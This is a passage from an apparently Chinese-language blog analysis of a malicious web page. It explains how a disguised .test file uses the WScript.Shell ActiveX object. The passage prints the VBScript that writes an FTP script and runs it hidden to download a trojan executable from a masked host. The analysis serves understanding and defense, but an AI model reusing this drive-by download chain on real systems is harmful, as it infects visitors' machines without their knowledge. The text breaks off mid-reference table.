在现时的这个资讯发达的年代,会做网页的人就不少了,但会做网页木马的人又有多少呢?(PS:一定不会比会做网页的人多:P)
“做网页木马难吗?”
“如何做啊?需要一些什么工具吗?”
......
然后论坛者的‘跟帖’更是众说纷纭。也许你只知道是浏览了某个网站的网页,自己的机器就会“中标”了,至于为什么会“中标”,它的原理是什么,这些也许你都没有再“追寻”下去了(或许你什么都知道,如果是的话,下面这篇烂文你就不用再看下去了:P)。
最近很幸运,笔者小神从一封可疑的、没有署名的Email中得到了一个带俗称‘网页木马’的url路径地址(看来小神的仇家还真不少,以后出门要小心了-_-b)。既然说是可疑当然就不能直接打开来看了,但好奇心又促使着我进入那个网址,几番“挣扎”后决定使用特殊一些的工具上去查看一下这个url的“虚实”。
(使用“火眼”打开该url地址)
(PS:上图的遮盖部分为带网页木马的网站IP地址)
-------------------------------------------------------------------------------------------------------------
附录:“火眼”的下载地址:
http://www.hfjinwei.com/temp/huoyan.rar
注:“火眼”是一只网页源码查看器,另外还附带一些特殊的功能,如查找恶意网页代码与自定义恶意网页代码查找等。
-------------------------------------------------------------------------------------------------------------
从图中可以清楚地看到这个静态网页的结构。因为只有简短的几行,因此没有什么可疑的地方,除了:
〈object data="http://该主机的IP地址/playboy.test"〉〈/object〉
〈embed align="center" src="http://该主机的IP地址/gei.swf" width="500" height="500" border="1"〉〈/embed〉
这两行标签。瞎了眼的人都能看得出来就是playboy.test与gei.swf这两个文件最为可疑了(用语夸张了点吧:P)。
gei.swf是个FLASH动画文件,但为了安全起见还是用flashget通过它的url把它DOWNLOAD下来吧(毕竟现在的FLASH跨站攻击是挺厉害的),然后用flashhacker将其反‘编译’,无收获(因为FLASH跨站攻击的内容超出了本文的范围,因此就不再多作解析了,大家有空可以去查阅相关的资料)。下面接着看playboy.test。使用相同的方法用“火眼”查看这个文件。
(PS:上图的遮盖部分为带网页木马的网站IP地址,留意看看窗体下方的“火眼”分析提示-_-b,所以说有的时候不要麻木地相信所有的工具......)
仔细看一下吧,其实这整个“网页木马”的‘玄机’都暴露在playboy.test这个HTML中了。为什么说它是HTML文件呢?它的扩展名不是*.test吗?其实这是木马安放者用来迷惑大家的,因为当浏览器在无法查别该文件是什么类型时就会第一时间尝试以HTML的格式来打开它了,这样刚好应了攻击者的要求。
现在分析一下它的代码。
首先从第三行开始看起(第一、二行为基本的HTML标签,大伙有兴趣可以查阅相关的教程):
〈object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'〉〈/object〉object标签用于在HTML文件中定义一个ActiveX外部对象类,以此以便后文调用该对象。从上面这一个标签对可以看出该定义的对象名为‘wsh’,至于它是什么对象类就不清楚了。如何是好呢?既然你不知道,那执行这段脚本的WSH(Windows Scripting Host)又是怎么知道的呢?
-------------------------------------------------------------------------------------------------------------
提示:什么是WSH(Windows Scripting Host)?
答:Windows Scripting Host这个概念最早出现于Windows 98操作系统。大家一定还记得MS-Dos下的批处理命令,它曾有效地简化了我们的工作、带给我们方便,这一点就有点类似于如今大行其道的脚本语言。但就算我们把批处理命令看成是一种脚本语言,那它也是98版之前的Windows操作系统所唯一支持的“脚本语言”。而此后随着各种真正的脚本语言不断出现,批处理命令显然就很是力不从心了。面临这一危机,微软在研发Windows 98时,为了实现多类脚本文件在Windows界面或Dos命令提示符下的直接运行,就在系统内植入了一个基于32位Windows平台、并独立于语言的脚本运行环境,并将其命名为“Windows Scripting Host”。WSH架构于ActiveX之上,通过充当ActiveX的脚本引擎控制器,WSH为Windows用户充分利用威力强大的脚本指令语言扫清了障碍。再具体一点描述:你自己编写了一个脚本文件,如后缀为*.vbs或*.js的文件,然后在 Windows 下双击并执行它,这时,系统就会自动调用一个适当的程序来对它进行解释并执行,而这个程序,就是Windows Scripting Host,程序执行文件名为Wscript.exe(若是在命令行下,则为Cscript.exe)。
-------------------------------------------------------------------------------------------------------------
WSH是通过该object标签的classid属性来识别它所调用的ActiveX外部对象类的,classid也叫做类ID,是每一个WIN32系统所能识别的ActiveX对象类的唯一ID号。现在我们知道了ActiveX类ID号,如何能知道它是什么ActiveX对象类呢?很简单,大伙跟小神一块打开注册表。
进入注册表以后,按菜单栏的“编辑”-“查找...”(如下图)。
在“查找目标”中输入我们已经知道的那个classid值,按“查找下一个”按钮。在‘漫长’的等待过程过后...(得到下图)
(从右边的键值显示区中看到这个是什么对象类了吧?)
从上图中我们可以看出木马安放者让我们调用的ActiveX对象类是“Windows Script Host Shell”对象类,这个类出了名是骇客最喜欢用的类之一(看到这里已经可以猜到这个网页不是什么好东西了:P)。其实楼上的那对object标签也可以直接放入SCRIPT标签对中,用VBScript可以写成:
Dim wsh
Set wsh=CreateObject("WScript.Shell")
说说重点吧,这个类最“骇人听闻”的就是它的其中一个最主要的调用“方法”---run方法,格式:wsh.Run("程序命令行")
使用它就能在网页的解析端(客户端,也就是浏览该网页的用户主机上)随意地执行所有级别的执行程序了。(PS:留意一下,下面你就可以看到这个方法的调用过程了:P)
现在让我们回到playboy.test分析部分,第四行开始的是SCRIPT的标签对及其内容部分了,在SCRPIT标签中定义了标签对中的解释脚本为VBScript。SCRIPT标签对的内容(详细请看下面每条语句后面紧跟的解释部分):
Dim fs,t
'声明两个变量fs与t
Set fs=CreateObject("Scripting.FileSystemObject")
'定义变量fs为Scripting.FileSystemObject类对象
Set
t=fs.CreateTextFile("playboy.txt,True)
'定义变量t为新建文档playboy.txt的操作句柄对象
t.WriteLine("open 放置木马的FTP主机地址")
'向playboy.txt写入一个文本
t.WriteLine("ftp")
t.WriteLine("any@any.net")
t.WriteLine("bin")
t.WriteLine("lcd c:\")
t.WriteLine("get playboy.exe")
t.WriteLine("bye")
t.Close
'关闭文件操作句柄
为了实验一下这段代码的功能,小神当即将上面的代码拷贝下来,放在一个扩展名为vbs(VBSCRIPT脚本)的ASCII文件文件中,并在cmd shell下运行,随即发现在该VBSCRIPT脚本的同一目录下生成一个名为playboy.txt的文本文件。打开后:
(遮盖部分为放置木马的FTP主机地址)
现在知道那段VBS代码是干什么的了吧?至于它所生成的这个playboy.txt都有什么作用呢?朋友,继续往下看吧。
wsh.Run "ftp -s:playboy.txt",0,true
这一行调用了三个参数的run方法格式,用于使用刚刚生成的脚本型文档playbox.txt与FTP服务器进行交互式通信。
-------------------------------------------------------------------------------------------------------------
附录:关于WScript.Shell的Run方法的三参数格式如下:
WshShell.Run (strCommand, [intWindowStyle], [blnWaitOnReturn])
参数
strCommand
在 strCommand 参数内部的环境变量被自动扩展。
intWindowStyle
这是为新进程在STARTUPINFO结构内设置的wShowWindow元素的值。其意义与ShowWindow中的nCmdShow参数相同,可取以下值之一。
SW_HIDE
0 隐藏窗口并激活另一窗口。
SW_MINIMIZE
6 最小化指定窗口并激活按 Z 序排序的下一个顶层窗口。
SW_RESTORE
9 激活并显示窗口。若窗口是最小化或最大化,则恢复到原来的大小和位置。在还原应用程序的最小化窗口时,应指定该标志。
SW_SHOW
5 以当前大小和位置激活并显示窗口。
SW_SHOWMAXIMIZED
3 激活窗口并以最大化显示该窗口。
SW_SHOWMINIMIZED
2 激活窗口并以最小化显示该窗口。
SW_SHOWMINNOACTIVE
7 最小化显示窗口。活动窗口保持活动。
SW_SHOWNA
8 以当